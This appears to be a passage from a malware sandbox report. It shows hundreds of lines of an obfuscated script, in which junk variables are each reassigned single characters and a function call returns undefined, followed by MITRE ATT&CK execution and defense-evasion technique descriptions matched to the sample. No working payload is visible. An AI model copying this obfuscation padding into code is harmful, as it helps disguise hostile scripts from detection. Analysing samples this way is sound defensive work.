427	wuvucj = "O";
428	wuvucj = "K";
429	wuvucj = "Z";
430	wuvucj = "a";
431	wuvucj = "G";
432	wuvucj = "y";
433	wuvucj = "u";
434	wuvucj = "j";
435	wuvucj = "l";
436	wuvucj = "i";
437	wuvucj = "I";
438	wuvucj = "H";
439	wuvucj = "n";
440	wuvucj = "\"";
441	dlcjb = "R";
442	lovdp = "C";
443	lovdp = "U";
444	lovdp = "f";
445	lovdp = "D";
446	lovdp = "l";
447	lovdp = "Y";
448	lovdp = "I";
449	lovdp = "P";
450	lovdp = "P";
451	lovdp = "z";
452	lovdp = "G";
453	lovdp = "J";
454	lovdp = "x";
455	lovdp = "s";
456	lovdp = "l";
457	lovdp = "y";
458	lovdp = "b";
459	lovdp = "I";
460	lovdp = "Y";
461	lovdp = "b";
462	lovdp = "q";
463	lovdp = "N";
464	lovdp = "k";
465	lovdp = "N";
466	lovdp = "k";
467	lovdp = "z";
468	lovdp = "D";
469	lovdp = "s";
470	lovdp = "L";
471	lovdp = "x";
472	lovdp = "D";
473	lovdp = "B";
474	lovdp = "w";
475	lovdp = "r";
476	lovdp = "r";
477	lovdp = "v";
478	lovdp = "G";
479	lovdp = "z";
480	lovdp = "X";
481	lovdp = "z";
482	lovdp = "V";
483	lovdp = "_";
484	qxcrt = "t";
485	qxcrt = "G";
486	qxcrt = "K";
487	qxcrt = "H";
488	qxcrt = "J";
489	qxcrt = "C";
490	qxcrt = "h";
491	pclrlzhlv = "H";
492	pclrlzhlv = "z";
493	pclrlzhlv = "R";
494	pclrlzhlv = "M";
495	pclrlzhlv = "J";
496	pclrlzhlv = "T";
497	pclrlzhlv = "h";
498	pclrlzhlv = "S";
499	pclrlzhlv = "u";
500	pclrlzhlv = "i";
501	pclrlzhlv = "R";
502	pclrlzhlv = "c";
503	pclrlzhlv = "G";
504	pclrlzhlv = "K";
505	pclrlzhlv = "o";
506	pclrlzhlv = "o";
507	pclrlzhlv = "f";
508	pclrlzhlv = "s";
509	pclrlzhlv = "m";
510	pclrlzhlv = "u";
511	pclrlzhlv = "k";
512	pclrlzhlv = "S";
513	pclrlzhlv = "O";
514	pclrlzhlv = "v";
515	pclrlzhlv = "p";
516	pclrlzhlv = "c";
517	obium = "o";
518	obium = "m";
519	obium = "V";
520	obium = "f";
521	obium = "f";
522	obium = "k";
523	obium = "V";
524	obium = "p";
525	obium = "z";
526	obium = "w";
527	obium = "M";
528	obium = "F";
529	obium = "e";
530	obium = "L";
531	obium = "w";
532	jqjpvnhph = "t";
533	jqjpvnhph = "M";
534	jqjpvnhph = "V";
535	jqjpvnhph = "l";
536	jqjpvnhph = "i";
537	jqjpvnhph = "X";
538	jqjpvnhph = "f";
539	jqjpvnhph = "o";
540	jqjpvnhph = "h";
541	jqjpvnhph = "K";
542	jqjpvnhph = "D";
543	jqjpvnhph = "q";
544	jqjpvnhph = "M";
545	jqjpvnhph = "X";
546	jqjpvnhph = "v";
547	jqjpvnhph = "L";
548	jqjpvnhph = "Y";
549	jqjpvnhph = "M";
550	jqjpvnhph = "y";
551	jqjpvnhph = "y";
552	jqjpvnhph = "B";
553	jqjpvnhph = "o";
554	jqjpvnhph = "Q";
555	jqjpvnhph = "f";
556	mqvbnuef = "i";
557	mqvbnuef = "G";
558	mqvbnuef = "D";
559	mqvbnuef = "h";
560	mqvbnuef = "K";
561	mqvbnuef = "a";
562	mqvbnuef = "e";
563	mqvbnuef = "m";
564	mqvbnuef = "z";
565	mqvbnuef = "h";
566	mqvbnuef = "P";
567	mqvbnuef = "P";
568	mqvbnuef = "T";
569	mqvbnuef = "N";
570	mqvbnuef = "b";
571	mqvbnuef = "J";
572	mqvbnuef = "B";
573	mqvbnuef = "W";
574	mqvbnuef = "T";
575	mqvbnuef = "o";
576	mqvbnuef = "w";
577	mqvbnuef = "q";
578	mqvbnuef = "W";
579	mqvbnuef = "o";
580	mqvbnuef = "K";
581	mqvbnuef = "%";
582	puzbjvfy = "b";
583	puzbjvfy = "j";
584	puzbjvfy = "w";
585	puzbjvfy = "A";
586	puzbjvfy = "Y";
587	puzbjvfy = "@";
588	ejmctxa = "d";
589	ejmctxa = "d";
590	ejmctxa = "S";
591	ejmctxa = "Z";
592	ejmctxa = "Y";
593	ejmctxa = "f";
594	ejmctxa = "g";
595	ejmctxa = "p";
596	ejmctxa = "X";
597	ejmctxa = "A";
598	ejmctxa = "Z";
599	ejmctxa = "h";
600	ejmctxa = "a";
601	ejmctxa = "T";
602	ejmctxa = "B";
603	ejmctxa = "A";
604	ejmctxa = "J";
605	ejmctxa = "R";
606	ejmctxa = "M";
607	ejmctxa = "d";
608	ejmctxa = "y";
609	ejmctxa = "D";
610	ejmctxa = "E";
611	ejmctxa = "y";
612	ejmctxa = "f";
613	ejmctxa = "M";
614	ejmctxa = "U";
615	crvmet = "c";
616	crvmet = "Z";
617	crvmet = "M";
618	crvmet = "E";
619	crvmet = "G";
620	crvmet = "b";
621	crvmet = "b";
622	crvmet = "R";
623	crvmet = "f";
624	crvmet = "Y";
625	crvmet = "N";
626	crvmet = "E";
627	crvmet = "L";
628	crvmet = "f";
629	crvmet = "o";
630	crvmet = "a";
631	crvmet = "F";
632	crvmet = "q";
633	crvmet = "C";
634	crvmet = "b";
635	crvmet = "D";
636	crvmet = "R";
637	crvmet = "z";
638	crvmet = "j";
639	crvmet = "m";
640	crvmet = "E";
641	crvmet = "P";
642	crvmet = "s";
643	crvmet = "Q";
644	crvmet = "q";
645	crvmet = "v";
646	crvmet = "y";
647	crvmet = "O";
648	crvmet = "j";
649	crvmet = "f";
650	crvmet = "f";
651	crvmet = "y";
652	crvmet = "k";
653	crvmet = "L";
654	crvmet = "z";
655	crvmet = "l";
656	crvmet = "f";
657	crvmet = "J";
658	crvmet = "X";
659	crvmet = "F";
660	yahlctsm = "a";
661	yahlctsm = "g";
662	yahlctsm = "F";
663	yahlctsm = "n";
664	yahlctsm = "i";
665	yahlctsm = "h";
666	yahlctsm = "z";
667	yahlctsm = "i";
668	yahlctsm = "S";
669	yahlctsm = "S";
670	yahlctsm = "L";
671	zplquelos = "L";
672	zplquelos = "S";
673	zplquelos = "S";
674	zplquelos = "x";
675	zplquelos = "J";
676	zplquelos = "R";
677	zplquelos = "n";
678	zplquelos = "y";
679	zplquelos = "X";
680	zplquelos = "Q";
681	zplquelos = "y";
682	zplquelos = "y";
683	zplquelos = "Z";
684	zplquelos = "x";
685	zplquelos = "Z";
686	zplquelos = "V";
687	zplquelos = "d";
688	zplquelos = "i";
689	zplquelos = "Z";
690	zplquelos = "J";
691	zplquelos = "D";
692	zplquelos = "s";
693	zplquelos = "l";
694	zplquelos = "H";
695	zplquelos = "p";
696	zplquelos = "Z";
697	zplquelos = "&";
698	ngoangub = "P";
699	ngoangub = "A";
700	ngoangub = "u";
701	ngoangub = "N";
702	ngoangub = "E";
703	ngoangub = "a";
704	ngoangub = "J";
705	ngoangub = "n";
706	ngoangub = "s";
707	ngoangub = "w";
708	ngoangub = "w";
709	ngoangub = "X";
710	ngoangub = "u";
711	ngoangub = "C";
712	ngoangub = "q";
713	ngoangub = "f";
714	ngoangub = "w";
715	ngoangub = "k";
716	ngoangub = "C";
717	ngoangub = "j";
718	ngoangub = "f";
719	ngoangub = "r";
720	ngoangub = "r";
721	ngoangub = "G";
722	ngoangub = "G";
723	ngoangub = "l";
724	ngoangub = "u";
725	ngoangub = "k";
726	ngoangub = "U";
727	ngoangub = "Q";
728	ngoangub = "F";
729	ngoangub = "c";
730	ngoangub = "x";
731	ngoangub = "n";
732	ngoangub = "W";
733	ngoangub = "K";
734	ngoangub = "T";
735	ukleyjdbq = "B";
736	ukleyjdbq = "Y";
737	ukleyjdbq = "U";
738	ukleyjdbq = "H";
739	ukleyjdbq = "X";
740	ukleyjdbq = "m";
741	ukleyjdbq = "p";
742	ukleyjdbq = "n";
743	ukleyjdbq = "s";
744	ukleyjdbq = "B";
745	ukleyjdbq = "i";
746	ukleyjdbq = "\\";
747	clftb = "y";
748	clftb = "F";
749	clftb = "x";
750	clftb = "X";
751	clftb = "W";
752	clftb = "b";
753	clftb = "L";
754	clftb = "S";
755	clftb = "S";
756	clftb = "h";
757	clftb = "J";
758	clftb = "O";
759	clftb = "R";
760	clftb = "y";
761	clftb = "n";
762	clftb = "Z";
763	clftb = "S";
764	clftb = "m";
765	clftb = "g";
766	clftb = "z";
767	clftb = "5";
768	iqqnpsqdh = "y";
769	iqqnpsqdh = "g";
770	iqqnpsqdh = "N";
771	iqqnpsqdh = "L";
772	iqqnpsqdh = "q";
773	iqqnpsqdh = "r";
774	iqqnpsqdh = "E";
775	fkvfi = "z";
776	fkvfi = "M";
777	fkvfi = "T";
778	fkvfi = "I";
779	fkvfi = "R";
780	fkvfi = "O";
781	fkvfi = "E";
782	fkvfi = "L";
783	fkvfi = "F";
784	fkvfi = "K";
785	fkvfi = "o";
786	fkvfi = "f";
787	fkvfi = "Z";
788	fkvfi = "z";
789	fkvfi = "c";
790	fkvfi = "P";
791	fkvfi = "s";
792	fkvfi = "z";
793	fkvfi = "C";
794	fkvfi = "n";
795	fkvfi = "l";
796	fkvfi = "L";
797	fkvfi = "j";
798	fkvfi = "p";
799	fkvfi = "L";
800	fkvfi = "k";
801	fkvfi = "x";
802	fkvfi = "J";
803	fkvfi = "K";
804	fkvfi = "R";
805	fkvfi = "e";
806	fkvfi = "u";
807	fkvfi = "h";
808	fkvfi = "l";
809	fkvfi = "j";
810	fkvfi = "c";
811	fkvfi = "A";
812	fkvfi = "E";
813	fkvfi = "Z";
814	fkvfi = "h";
815	fkvfi = "w";
816	fkvfi = "u";
817	fkvfi = "3";
818	jxzbm = "l";
819	jxzbm = "f";
820	jxzbm = "v";
821	jxzbm = "n";
822	jxzbm = "B";
823	jxzbm = "E";
824	jxzbm = "q";
825	jxzbm = "X";
826	jxzbm = "u";
827	jxzbm = "d";
828	jxzbm = "U";
829	jxzbm = "p";
830	jxzbm = "y";
831	jxzbm = "n";
832	jxzbm = "f";
833	jxzbm = "L";
834	jxzbm = "j";
835	jxzbm = "c";
836	jxzbm = "G";
837	jxzbm = "w";
838	jxzbm = "x";
839	libzmw = "L";
840	libzmw = "x";
841	libzmw = "e";
842	libzmw = "o";
843	libzmw = "X";
844	libzmw = "q";
845	libzmw = "B";
846	libzmw = "q";
847	libzmw = "I";
848	libzmw = "D";
849	libzmw = "e";
850	libzmw = "U";
851	libzmw = "J";
852	libzmw = "u";
853	libzmw = "m";
854	libzmw = "e";
855	libzmw = "h";
856	libzmw = "k";
857	libzmw = "b";
858	libzmw = "m";
859	libzmw = "k";
860	libzmw = "N";
861	libzmw = "T";
862	libzmw = "f";
863	libzmw = "j";
864	libzmw = "a";
865	libzmw = "C";
866	kyplr = "V";
867	kyplr = "t";
868	kyplr = "A";
869	kyplr = "e";
870	kyplr = "H";
871	kyplr = "n";
872	kyplr = "W";
873	kyplr = "f";
874	kyplr = "Y";
875	kyplr = "A";
876	kyplr = "Y";
877	kyplr = "V";
878	kyplr = "Q";
879	kyplr = ".";
880	vheooq = "h";
881	vheooq = "F";
882	vheooq = "Q";
883	vheooq = "Q";
884	vheooq = "p";
885	vheooq = "m";
886	vheooq = "N";
887	vheooq = "o";
888	vheooq = "t";
889	vheooq = "G";
890	vheooq = "/";
891	egbzhnll = "d";
892	egbzhnll = "o";
893	egbzhnll = "C";
894	egbzhnll = "L";
895	egbzhnll = "K";
896	egbzhnll = "F";
897	egbzhnll = "z";
898	egbzhnll = "f";
899	egbzhnll = "I";
900	egbzhnll = "b";
901	egbzhnll = "a";
902	egbzhnll = "p";
903	egbzhnll = "C";
904	egbzhnll = "U";
905	egbzhnll = "f";
906	egbzhnll = "r";
907	egbzhnll = "Y";
908	egbzhnll = "o";
909	egbzhnll = "G";
910	egbzhnll = "V";
911	egbzhnll = "Q";
912	egbzhnll = "O";
913	egbzhnll = "q";
914	egbzhnll = "I";
915	egbzhnll = "g";
916	egbzhnll = "d";
917	egbzhnll = "E";
918	egbzhnll = "V";
919	egbzhnll = "W";
920	egbzhnll = "U";
921	egbzhnll = "t";
922	egbzhnll = "S";
923	egbzhnll = "o";
924	egbzhnll = "H";
925	egbzhnll = "o";
926	egbzhnll = "y";
927	egbzhnll = "8";
928	zllte = "u";
929	zllte = "Q";
930	zllte = "e";
931	zllte = "k";
932	zllte = "F";
933	zllte = "E";
934	zllte = "Z";
935	zllte = "e";
936	zllte = "I";
937	zllte = "q";
938	zllte = "Z";
939	zllte = "C";
940	zllte = "g";
941	zllte = "S";
942	zllte = "j";
943	zllte = "Q";
944	zllte = "j";
945	zllte = "B";
946	zllte = "Z";
947	zllte = "E";
948	zllte = "S";
949	zllte = "w";
950	zllte = "k";
951	zllte = "i";
952	zllte = "M";
953	zllte = "r";
954	zllte = "R";
955	zllte = "l";
956	zllte = "u";
957	zllte = "U";
958	zllte = "H";
959	zllte = "j";
960	zllte = "u";
961	zllte = "X";
962	zllte = "n";
963	zllte = "h";
964	zllte = "P";
965	zllte = "b";
966	zllte = "0";
967	qhrekdn = "C";
968	qhrekdn = "h";
969	qhrekdn = "o";
970	qhrekdn = "m";
971	qhrekdn = "I";
972	qhrekdn = "n";
973	qhrekdn = "m";
974	qhrekdn = "V";
975	qhrekdn = "M";
976	qhrekdn = "x";
977	qhrekdn = "f";
978	qhrekdn = "C";
979	qhrekdn = "A";
980	qhrekdn = "w";
981	qhrekdn = "g";
982	qhrekdn = "i";
983	qhrekdn = "R";
984	qhrekdn = "U";
985	qhrekdn = "g";
986	qhrekdn = "C";
987	qhrekdn = "k";
988	qhrekdn = "f";
989	qhrekdn = "A";
990	qhrekdn = "C";
991	qhrekdn = "R";
992	qhrekdn = "T";
993	qhrekdn = "P";
994	ohhyotvw = "t";
995	ohhyotvw = "B";
996	ohhyotvw = "z";
997	ohhyotvw = "C";
998	ohhyotvw = "w";
999	ohhyotvw = "l";
1000	ohhyotvw = "D";
1001	ohhyotvw = "U";
1002	ohhyotvw = "s";
1003	ohhyotvw = "z";
1004	ohhyotvw = "R";
1005	ohhyotvw = "r";
1006	ohhyotvw = "Z";
1007	ohhyotvw = "d";
1008	ohhyotvw = "h";
1009	ohhyotvw = "e";
1010	ohhyotvw = "X";
1011	ohhyotvw = "h";
1012	ohhyotvw = "x";
1013	ohhyotvw = "Y";
1014	ohhyotvw = "n";
1015	ohhyotvw = "T";
1016	ohhyotvw = "k";
1017	ohhyotvw = "G";
1018	ohhyotvw = "G";
1019	ohhyotvw = "O";
1020	ohhyotvw = "F";
1021	ohhyotvw = "j";
1022	ohhyotvw = "x";
1023	ohhyotvw = "H";
1024	ohhyotvw = "v";
1025	ohhyotvw = "w";
1026	ohhyotvw = "M";
1027	ohhyotvw = "J";
1028	ohhyotvw = "e";
1029	ohhyotvw = "m";
1030	ohhyotvw = "U";
1031	ohhyotvw = "d";
1032	ohhyotvw = "H";
1033	ohhyotvw = "N";
1034	ohhyotvw = "z";
1035	ohhyotvw = "e";
1036	ohhyotvw = "V";
1037	ohhyotvw = "X";
1038	ohhyotvw = "s";
1039	iminqei = "p";
1040	iminqei = "k";
1041	iminqei = "p";
1042	iminqei = "I";
1043	iminqei = "O";
1044	iminqei = "W";
1045	iminqei = "I";
1046	iminqei = "C";
1047	iminqei = "a";
1048	iminqei = "S";
1049	iminqei = "d";
1050	iminqei = "w";
1051	iminqei = "R";
1052	iminqei = "R";
1053	iminqei = "y";
1054	iminqei = "d";
1055	iminqei = "T";
1056	iminqei = "b";
1057	iminqei = "V";
1058	iminqei = "j";
1059	iminqei = "W";
1060	tatnujxx = "o";
1061	tatnujxx = "y";
1062	tatnujxx = "o";
1063	tatnujxx = "N";
1064	tatnujxx = "v";
1065	tatnujxx = "Z";
1066	tatnujxx = "R";
1067	tatnujxx = "d";
1068	tatnujxx = "p";
1069	tatnujxx = "H";
1070	tatnujxx = "d";
1071	tatnujxx = "L";
1072	tatnujxx = "N";
1073	tatnujxx = "w";
1074	tatnujxx = "K";
1075	tatnujxx = "N";
1076	tatnujxx = "L";
1077	tatnujxx = "v";
1078	tatnujxx = "y";
1079	tatnujxx = "I";
1080	tatnujxx = "I";
1081	tatnujxx = "l";
1082	bsfzqnsds = "A";
1083	bsfzqnsds = "S";
1084	srbogapm = "V";
1085	srbogapm = "q";
1086	srbogapm = "R";
1087	srbogapm = "n";
1088	srbogapm = "V";
1089	srbogapm = "P";
1090	srbogapm = "L";
1091	srbogapm = "K";
1092	srbogapm = "J";
1093	srbogapm = "F";
1094	srbogapm = "U";
1095	srbogapm = "A";
1096	srbogapm = "O";
1097	mzzovlm = "S";
1098	mzzovlm = "U";
1099	mzzovlm = "O";
1100	mzzovlm = "n";
1101	mzzovlm = "r";
1102	mzzovlm = "R";
1103	mzzovlm = "H";
1104	mzzovlm = "k";
1105	mzzovlm = "l";
1106	mzzovlm = "I";
1107	mzzovlm = "N";
1108	mzzovlm = "Q";
1109	mzzovlm = "p";
1110	mzzovlm = "F";
1111	mzzovlm = "v";
1112	mzzovlm = "b";
1113	mzzovlm = "F";
1114	mzzovlm = "U";
1115	mzzovlm = "V";
1116	mzzovlm = "z";
1117	mzzovlm = "k";
1118	ppgan = "P";
1119	ppgan = "S";
1120	ppgan = "S";
1121	ppgan = "C";
1122	ppgan = "V";
1123	ppgan = "X";
1124	ppgan = "Q";
1125	ppgan = "j";
1126	ppgan = "N";
1127	ppgan = "w";
1128	ppgan = "V";
1129	ppgan = "U";
1130	ppgan = "V";
1131	ppgan = "E";
1132	ppgan = "P";
1133	ppgan = "R";
1134	ppgan = "X";
1135	ppgan = "x";
1136	ppgan = "s";
1137	ppgan = "G";
1138	ppgan = "U";
1139	ppgan = "O";
1140	ppgan = "i";
1141	ppgan = "A";
1142	ppgan = "P";
1143	ppgan = "e";
1144	ppgan = "M";
1145	ppgan = "G";
1146	ppgan = "t";
1147	ppgan = "H";
1148	ppgan = "n";
1149	ppgan = "9";
1150	edkcqaz = "k";
1151	edkcqaz = "f";
1152	edkcqaz = "a";
1153	edkcqaz = "i";
1154	edkcqaz = "b";
1155	edkcqaz = "i";
1156	edkcqaz = "L";
1157	edkcqaz = "k";
1158	edkcqaz = "D";
1159	edkcqaz = "S";
1160	edkcqaz = "Y";
1161	edkcqaz = "R";
1162	edkcqaz = "H";
1163	edkcqaz = "g";
1164	edkcqaz = "U";
1165	edkcqaz = "u";
1166	lkopo = "r";
1167	lkopo = "c";
1168	lkopo = "U";
1169	lkopo = "S";
1170	lkopo = "-";
1171	bfprljm = "H";
1172	bfprljm = "U";
1173	bfprljm = "P";
1174	bfprljm = "g";
1175	bfprljm = "q";
1176	bfprljm = "q";
1177	bfprljm = "L";
1178	bfprljm = "r";
1179	bfprljm = "l";
1180	bfprljm = "Q";
1181	bfprljm = "K";
1182	bfprljm = "B";
1183	bfprljm = "H";
1184	bfprljm = "G";
1185	bfprljm = "x";
1186	bfprljm = "i";
1187	bfprljm = "j";
1188	bfprljm = "G";
1189	bfprljm = "Z";
1190	bfprljm = "z";
1191	bfprljm = "G";
1192	bfprljm = "c";
1193	bfprljm = "X";
1194	bfprljm = "i";
1195	bfprljm = "p";
1196	bfprljm = "K";
1197	bfprljm = "u";
1198	bfprljm = "q";
1199	bfprljm = "i";
1200	titol = "a";
1201	titol = "K";
1202	titol = "q";
1203	titol = "s";
1204	titol = "m";
1205	titol = "m";
1206	titol = "r";
1207	titol = "T";
1208	titol = "A";
1209	titol = "C";
1210	titol = "W";
1211	titol = "i";
1212	titol = "r";
1213	titol = "P";
1214	titol = "a";
1215	titol = "L";
1216	titol = "c";
1217	titol = "W";
1218	titol = "l";
1219	titol = "f";
1220	titol = "S";
1221	titol = "x";
1222	titol = "c";
1223	titol = "l";
1224	titol = "h";
1225	titol = "Q";
1226	wedmt = "f";
1227	wedmt = "Z";
1228	wedmt = "F";
1229	wedmt = "E";
1230	wedmt = "v";
1231	wedmt = "Y";
1232	wedmt = "U";
1233	wedmt = "Q";
1234	wedmt = "G";
1235	wedmt = "m";
1236	wedmt = "Y";
1237	wedmt = "U";
1238	wedmt = "U";
1239	wedmt = "n";
1240	wedmt = "b";
1241	wedmt = "e";
1242	wedmt = "J";
1243	wedmt = "i";
1244	wedmt = "c";
1245	wedmt = "H";
1246	wedmt = "p";
1247	wedmt = "u";
1248	wedmt = "e";
1249	wedmt = "t";
1250	wedmt = "d";
1251	wedmt = "i";
1252	wedmt = "1";
1253	lswaiiwxf = "q";
1254	kstshov = "Q";
1255	kstshov = "J";
1256	kstshov = "P";
1257	kstshov = "s";
1258	kstshov = "s";
1259	kstshov = "G";
1260	kstshov = "p";
1261	kstshov = "F";
1262	kstshov = "4";
1263	dyqhwoxpc = "z";
1264	dyqhwoxpc = "X";
1265	dyqhwoxpc = "F";
1266	dyqhwoxpc = "A";
1267	dyqhwoxpc = "C";
1268	dyqhwoxpc = "Y";
1269	dyqhwoxpc = "y";
1270	dyqhwoxpc = "s";
1271	dyqhwoxpc = "x";
1272	dyqhwoxpc = "f";
1273	dyqhwoxpc = "f";
1274	dyqhwoxpc = "U";
1275	dyqhwoxpc = "v";
1276	dyqhwoxpc = "Q";
1277	dyqhwoxpc = "N";
1278	dyqhwoxpc = "L";
1279	dyqhwoxpc = "f";
1280	dyqhwoxpc = "e";
1281	dyqhwoxpc = "S";
1282	dyqhwoxpc = "Q";
1283	dyqhwoxpc = "m";
1284	dyqhwoxpc = "N";
1285	dyqhwoxpc = "e";
1286	dyqhwoxpc = "n";
1287	dyqhwoxpc = "K";
1288	dyqhwoxpc = "Y";
1289	dyqhwoxpc = "b";
1290	rbhzwlebh = "J";
1291	rbhzwlebh = "Y";
1292	rbhzwlebh = "X";
1293	rbhzwlebh = "x";
1294	rbhzwlebh = "W";
1295	rbhzwlebh = "k";
1296	rbhzwlebh = "a";
1297	rbhzwlebh = "E";
1298	rbhzwlebh = "N";
1299	rbhzwlebh = "H";
1300	rbhzwlebh = "Z";
1301	rbhzwlebh = "d";
1302	rbhzwlebh = "n";
1303	rbhzwlebh = "q";
1304	rbhzwlebh = "W";
1305	rbhzwlebh = "f";
1306	rbhzwlebh = "t";
1307	rbhzwlebh = "g";
1308	rbhzwlebh = "P";
1309	rbhzwlebh = "W";
1310	rbhzwlebh = "M";
1311	rbhzwlebh = "X";
1312	rbhzwlebh = "q";
1313	rbhzwlebh = "o";
1314	rbhzwlebh = "n";
1315	rbhzwlebh = "L";
1316	rbhzwlebh = "R";
1317	rbhzwlebh = "N";
1318	rbhzwlebh = "N";
1319	rbhzwlebh = "A";
1320	rbhzwlebh = "H";
1321	rbhzwlebh = "G";
1322	rbhzwlebh = "Z";
1323	rbhzwlebh = "a";
1324	rbhzwlebh = "E";
1325	rbhzwlebh = "n";
1326	rkklzr = "a";
1327	rkklzr = "j";
1328	rkklzr = "P";
1329	rkklzr = "J";
1330	rkklzr = "A";
1331	rkklzr = "O";
1332	rkklzr = "C";
1333	rkklzr = "T";
1334	rkklzr = "t";
1335	rkklzr = "u";
1336	rkklzr = "z";
1337	rkklzr = "Y";
1338	rkklzr = "R";
1339	rkklzr = "b";
1340	rkklzr = "r";
1341	rkklzr = "Z";
1342	rkklzr = "A";
1343	rkklzr = "c";
1344	rkklzr = "d";
1345	rkklzr = "I";
1346	rkklzr = "a";
1347	rkklzr = "J";
1348	rkklzr = "s";
1349	rkklzr = "j";
1350	rkklzr = "J";
1351	rkklzr = "H";
1352	rkklzr = "y";
1353	rkklzr = "w";
1354	rkklzr = "k";
1355	rkklzr = "G";
1356	rkklzr = "l";
1357	rkklzr = "e";
1358	rkklzr = "A";
1359	rkklzr = "S";
1360	rkklzr = "a";
1361	rkklzr = " ";
1362	zhvioff = "h";
1363	zhvioff = "O";
1364	zhvioff = "V";
1365	zhvioff = "H";
1366	zhvioff = "N";
1367	zhvioff = "G";
1368	zhvioff = "H";
1369	zhvioff = "w";
1370	zhvioff = "H";
1371	zhvioff = "p";
1372	zhvioff = "N";
1373	zhvioff = "m";
1374	zhvioff = "I";
1375	zhvioff = "j";
1376	zhvioff = "K";
1377	zhvioff = "Q";
1378	zhvioff = "f";
1379	zhvioff = "N";
1380	zhvioff = "R";
1381	zhvioff = "O";
1382	zhvioff = "x";
1383	zhvioff = "l";
1384	zhvioff = ":";
1385	arjbmqv = "s";
1386	arjbmqv = "t";
1387	arjbmqv = "b";
1388	arjbmqv = "D";
1389	arjbmqv = "Q";
1390	arjbmqv = "z";
1391	arjbmqv = "S";
1392	arjbmqv = "s";
1393	arjbmqv = "d";
1394	arjbmqv = "E";
1395	arjbmqv = "h";
1396	arjbmqv = "y";
1397	arjbmqv = "M";
1398	arjbmqv = "D";
1399	arjbmqv = "v";
1400	arjbmqv = "r";
1401	arjbmqv = "7";
1402	wprhxkbou = "U";
1403	wprhxkbou = "L";
1404	wprhxkbou = "G";
1405	wprhxkbou = "C";
1406	wprhxkbou = "A";
1407	wprhxkbou = "H";
1408	wprhxkbou = "Z";
1409	wprhxkbou = "A";
1410	wprhxkbou = "I";
1411	wprhxkbou = "z";
1412	wprhxkbou = "r";
1413	wprhxkbou = "p";
1414	wprhxkbou = "C";
1415	wprhxkbou = "k";
1416	wprhxkbou = "w";
1417	wprhxkbou = "s";
1418	wprhxkbou = "C";
1419	wprhxkbou = "C";
1420	wprhxkbou = "T";
1421	wprhxkbou = "I";
1422	wprhxkbou = "m";
1423	wprhxkbou = "E";
1424	wprhxkbou = "B";
1425	wprhxkbou = "Y";
1426	wprhxkbou = "N";
1427	wprhxkbou = "X";
1428	wprhxkbou = "d";
1429	wprhxkbou = "t";
1430	wprhxkbou = "J";
1431	wprhxkbou = "p";
1432	wprhxkbou = "o";
1433	wprhxkbou = "B";
1434	wprhxkbou = "P";
1435	wprhxkbou = "a";
1436	wprhxkbou = "g";
1437	wprhxkbou = "D";
1438	wprhxkbou = "Q";
1439	wprhxkbou = "E";
1440	wprhxkbou = "i";
1441	wprhxkbou = "I";
1442	yejjpz = "g";
1443	yejjpz = "z";
1444	yejjpz = "X";
1445	yejjpz = "y";
1446	yejjpz = "h";
1447	yejjpz = "J";
1448	yejjpz = "J";
1449	yejjpz = "x";
1450	yejjpz = "D";
1451	yejjpz = "q";
1452	yejjpz = "o";
1453	yejjpz = "Q";
1454	yejjpz = "v";
1455	yejjpz = "i";
1456	yejjpz = "n";
1457	yejjpz = "i";
1458	yejjpz = "k";
1459	yejjpz = "l";
1460	yejjpz = "p";
1461	yejjpz = "x";
1462	yejjpz = "c";
1463	yejjpz = "S";
1464	yejjpz = "B";
1465	yejjpz = "v";
1466	yejjpz = "Q";
1467	yejjpz = "i";
1468	yejjpz = "k";
1469	yejjpz = "B";
1470	yejjpz = "B";
1471	yejjpz = "v";
1472	yejjpz = "E";
1473	yejjpz = "B";
1474	yejjpz = "n";
1475	yejjpz = "P";
1476	yejjpz = "B";
1477	yejjpz = "t";
1478	yejjpz = "m";
1479	yejjpz = "q";
1480	yejjpz = "H";
1481	sxprfqv = "n";
1482	sxprfqv = "N";
1483	sxprfqv = "U";
1484	sxprfqv = "O";
1485	sxprfqv = "L";
1486	sxprfqv = "f";
1487	sxprfqv = "j";
1488	sxprfqv = "W";
1489	sxprfqv = "f";
1490	sxprfqv = "j";
1491	sxprfqv = "J";
1492	sxprfqv = "M";
1493	sxprfqv = "B";
1494	sxprfqv = "x";
1495	sxprfqv = "s";
1496	sxprfqv = "Q";
1497	sxprfqv = "y";
1498	sxprfqv = "m";
1499	sxprfqv = "m";
1500	sxprfqv = "A";
1501	sxprfqv = "c";
1502	sxprfqv = "o";
1503	sxprfqv = "B";
1504	sxprfqv = "v";
1505	sxprfqv = "Y";
1506	sxprfqv = "r";
1507	sxprfqv = "C";
1508	sxprfqv = "K";
1509	sxprfqv = "A";
1510	sxprfqv = "N";
1511	sxprfqv = "U";
1512	sxprfqv = "v";
1513	sxprfqv = "a";
1514	sxprfqv = "O";
1515	sxprfqv = "p";
1516	sxprfqv = "P";
1517	sxprfqv = "C";
1518	sxprfqv = "Z";
1519	sxprfqv = "Y";
1520	sxprfqv = "w";
1521	sxprfqv = "d";
1522	tkugkmrw ( );	tkugkmrw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
